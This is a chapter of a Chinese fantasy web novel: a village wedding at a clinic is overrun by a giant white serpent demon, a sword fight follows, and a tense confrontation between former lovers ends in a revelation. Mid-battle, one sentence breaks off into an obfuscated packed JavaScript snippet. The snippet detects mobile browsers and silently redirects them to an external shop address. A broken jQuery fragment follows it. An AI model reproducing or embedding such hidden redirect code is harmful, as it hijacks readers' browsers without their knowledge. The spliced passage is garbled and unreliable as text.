翌日清早,医馆附近早早便喧腾起来。
昨日医院里头便被众人打理得一尘不染,待到晨起村民登门赴宴,四下整洁的景致看得人心头舒展。
灵枢暂充登簿人守在大门侧边,执笔逐一记下乡亲送来的贺礼。
村东头的屠户扛着半扇鲜猪肉前来道贺,口音浓重绕来绕去,灵枢始终辨不清他的姓氏,对方一会儿说自己姓贵,一会儿又说成鬼,听得人一头雾水。恰逢村里唯一一个读书人赶来至此,一见屠户便大声喊道“郭叔!你来的这么早啊!”
灵枢才一头雾水地晓得这人原来是郭屠户。
他无奈地用手指撑着隐隐作痛的额角,落笔在册簿上记下这份贺礼,转头又对上一位口齿更加浑浊的白发老妪,新一轮鸡同鸭讲的沟通再度上演。
祁云耀同谢重楼守在前门接引宾客,领着络绎不绝的村民走入中院落座,起初二人应对得从容顺手,可后来前来道贺的乡民越聚越多,人流涌入的速度陡然加快,单凭两人已然分身乏术。
原来登记礼单的差事索性被灵枢转交给了那位年轻后生,空闲下来便也移步到门前,一同分担迎宾的事务。
另一边的祁红谢青被分派在后厨打下手,容貌俊美惹眼的风幕卿原本也是立在大门口,奈何太过出尘的样貌反倒让不少村民怯于上前,便也一同去到后厨,看似打杂,实则暗中监察整座院落的异动。
谢青问:“风长老昨夜没回来,你知道他去了哪里吗?”
风幕卿蹲在不远处,屈尊降贵地出借两根手指,捻着粘着泥巴的大白菜在水盆里画圈全当洗菜。
他语气晃悠悠显然全不在意:“谁知道呢?说不准得知小婶婶今日要出嫁,羞愤得直接找个树挂脖子——唔!”
话音未落便被祁红丢过来的白菜溅了一身水。
婚事从敲定到筹办处处随性,当下的场面亦是如此。
赵娘没有依照旧俗独坐婚房等候新郎,头上不曾盖盖头,而是大大方方将嫁衣换上,手边还搀扶着身子尚且孱弱的祝郎,脸上挂着爽朗笑意,挨个同往来乡亲寒暄客套,说着各式各样的吉祥祝语。
遇上宾客拥挤,无人引路的时候,便由她挽着祝郎亲自招呼众人寻位置落座。
院内一派融融喧闹,守在桌边登记贺礼的后生却骤然神色一凝,方才还笑语连连的村民也不约而同停下交谈,周遭霎时间静了大半。
一道宛若谪仙的身影出现在他们中间,骨肉如玉,眉目浸着一汪秋水,周身萦绕着疏离清冷的气韵,正是风绍彦。
那双澄澈幽深的眼眸淡淡落向执笔的青年,青年喉头不自觉滚动,一时看得心神恍惚,好半晌才猛然回过神,脸颊涨得通红,慌忙去抓搁置在案上的毛笔。
“敢问您尊姓?”
“风。”
青年还打算再追问几句,一块质地温润通透的玉珏已然搁落在礼簿之上,玉质莹润流光,一眼便能瞧出价值不菲。
风绍彦放下贺礼,不再多言,抬步径直走入医馆,身后接连响起村民压抑不住的抽气之声。
他穿过回廊庭院,目光很快锁定那一抹醒目的绯红,赵娘正陪着祝郎周旋宾客。四目相撞,赵娘扬起一贯明媚的笑意看向他,两人几乎在同一时刻开口唤住彼此,话音撞上,又齐齐缄口。
“赵娘。”
“你来了——”
风绍彦眼波流转,正要再说些什么,赵娘已然攥紧祝郎的手掌,笑意盈盈开口:“快随我过来吧!你们不熟识乡里乡亲,我给你们的席位都安排在这边。”
她旋身正要迈步离去,手腕忽然被风绍彦一把攥住。
一直隐忍不言的祝郎脸色骤变,当即抬手狠狠拍开那只无礼的手掌,眼底藏着怒意却说不出话,只一双怒目圆睁,十分不善盯着他。
风绍彦全然无视诘责,院中有相近的村民察觉到这场突如其来的冲突,纷纷下意识转头过来。祁云耀一行人见状立刻打算快步上前调停,可脚步方才抬起,一股刺骨寒意猛地从脊背直冲天灵,浑身汗毛根根直立,身躯僵在原地动弹不得。
谢重楼同步感知到什么凶险,右手瞬间抚上腰间细长黑剑,周身灵力尽数蓄满,随时准备拔剑迎敌。
“发生什么了?”灵枢压低嗓音问。
谢重楼目光瞬间聚在后院厨房方向,沉声吐出一字:“欲来了!”
后厨内,祁红与谢青本就暗自留意前院风波,瞧见风绍彦出手纠缠的刹那,二人已然做好动身驰援的准备,可身后骤然炸开风幕卿的厉声大喊:“躲开!”
话音落下的瞬间,一条体型庞然的白蛇猛然自建筑阴影里窜出,张开淌着涎水的蛇口,径直朝着谢青、祁红猛噬而去。
-
“赵娘。”
风绍彦声线压得极低,一步步朝她逼近。
赵娘眼底心绪翻涌,余光飞快扫过后厨厮杀的动静,强行压下心底翻涌的复杂悸动,攥紧祝郎的手腕连连往后退,刻意避开他再度伸来想要扣住自己的手。
“你这人也太没礼貌!想对新娘子做什么——噗唔!”
一旁仗义上前想要拦阻的村民话音未落,冲破人群的巨大白蛇已然大口一张,转瞬便将人整个吞入腹中,方才还鲜活的人影瞬间消失,只剩覆满光洁鳞片长长蛇躯充盈横在院中。
蛇首额角断裂的伤口早已止了血,甚至有新肉缓慢滋生,淡粉嫩肉肉眼可见地鼓胀、分裂,一点点顶出一小截崭新的犄角。
白蛇猩红竖瞳惬意眯起,瞳底流转细碎金纹暗光,身躯一挺,径直挪到风绍彦身后盘踞,先是忌惮地瞥了一眼他腰间逐日剑,转瞬便再无顾忌,巨口大张,朝着四周四散躲避的宾客猛扑而去。
鲜血四溅,凄厉惨叫声瞬间铺满整座医馆院落。
“噌——”
不言剑裹挟劲风凌空劈至,剑锋擦过欲的蛇身,鳞甲摩擦迸出刺眼电光,皮肉割裂处炸开一缕黯淡金色血光。
欲的动作骤然僵滞一瞬,脸上露出扭曲吃痛的神色,红瞳一缩,当即转头反咬,可一黑一白两道兵刃已然前后夹击逼至面门。
谢重楼与谢青二人招式路数乍看相近,内里却各有章法,细长黑剑灵巧旋绕,白刃锋芒凛冽,双双直刺蛇妖双目。
欲仓促扭身躲开夹击,转身避让却又正面迎上西门重剑,蛇尾却猛地狠狠横扫,径直将祁红整个人抽飞出去,旋即调转目标,獠牙直指身侧的谢青。
谢青躲闪不及,蛇口已然近在咫尺,千钧一发之际,一股磅礴外力轰然砸中蛇首
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732812|196908||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,巨大身躯如同断线抛物线,重重撞向一旁屋舍墙面,砖瓦碎落一地。
“玉虚派……”
欲竖瞳紧缩,嘶嘶吐着阴冷信子,自坍塌的瓦砾废墟间缓缓支起身躯,正对上持剑而立的风幕卿。
他手中的兰泽剑身形修长温润,剑身寒光粼粼。
-
另一边,方才赴宴的村民大半折损在蛇妖突袭之下,唯独场中三人分毫未伤。
方才欲出手时刻意绕开了风绍彦周遭一小片区域,赵娘、祝郎与风绍彦恰好置身这片安全之地。
祝郎怔怔望着眼前炼狱般的景象,往日邻里乡亲尽数倒在血泊之中,惨烈景象刺得他再也撑不住,弯腰剧烈干呕,一股股酸水尽数吐在地上,生理性的泪水糊满脸庞。
赵娘没有半分嫌弃,静静攥着他的手,眼眶通红,失神望着满地狼藉。
风绍彦目光牢牢锁着赵娘,直白开口:“你不要我,连小息也一并舍弃么?若没有我,小息便也就不复存在了,你舍得吗?”
话音落下的刹那,赵娘所有伪装尽数崩碎,不知究竟是何原因导致的暴露,却仍旧强撑着轻轻托着祝郎往后退。
“若你心中恨我,难不成连小息也一同怨恨?”风绍彦又轻声追问。
他未曾留意赵娘眼底陡然凝起的决绝,兀自往下诉说:“小息的名字还是你取的,你忍心让他往后——”
“彦郎。”
赵娘骤然出声打断他,往日明快鲜活的声线不复存在,只剩一片沉沉死寂。
风绍彦闻言却眼底骤亮,下意识抬手,指尖眼看着就要触到赵娘衣袖;一旁的祝郎纵然还未从满目血腥的恐惧里缓过神,却快速抢先一步用力攥紧赵娘双手,将她护在后头。
此刻风幕卿全数心神都被蛇妖牵制,无暇顾及这边。祝郎方才一阵干呕过后,竟发觉自己嗓音已然恢复如常。
“你快走,我留下来拦住他——呕,对不住。”
祝郎说话间,视线所及尽是飞溅暗红血色,胃部又是一阵剧烈痉挛,再度俯身干呕,秽物溅落在赵娘嫁衣裙摆,晕开一大片暗沉污渍。他慌忙扯过自己衣襟想去擦拭,可污渍早已浸透布料,再也擦不干净。
他手忙脚乱地反复擦拭裙摆上的污渍,徒劳蹭过浸透布料的暗浊痕迹,滚烫的眼泪控制不住砸下来。
“对不起,都怪我,是我没用,是我太蠢,轻信了他的谎话,到头来还是保护不了你。”
他肩头剧烈耸动,压抑的哭声满是无力与绝望。
风绍彦望着两人相护的模样,下颌绷得死紧,周身寒气翻涌,跨步上前便要伸手将二人扯开,赵娘却先一步开了口,声音缓缓如流溪。
“没事的祝郎。实际我一直陪在你身旁,我是亲眼看着你成为很了不起的医师,我从来没有离开过你。”
话音未落,一滴剔透泪珠自她眼眶坠落,恰好祝郎猛地抬头,那滴泪便落在了他的脸颊,与他脸上纵横的泪水交融在一起,顺着下颌一同滑落。
良久,赵娘缓缓抬起头,目光直直撞进风绍彦眼底,眉心轻轻蹙起,用一种陌生到极致眼神看着他,眸光粼粼,缓缓吐出口气摇了摇头:
“彦郎,你不该说小息的。你没有发现我们的小息已经死了么?”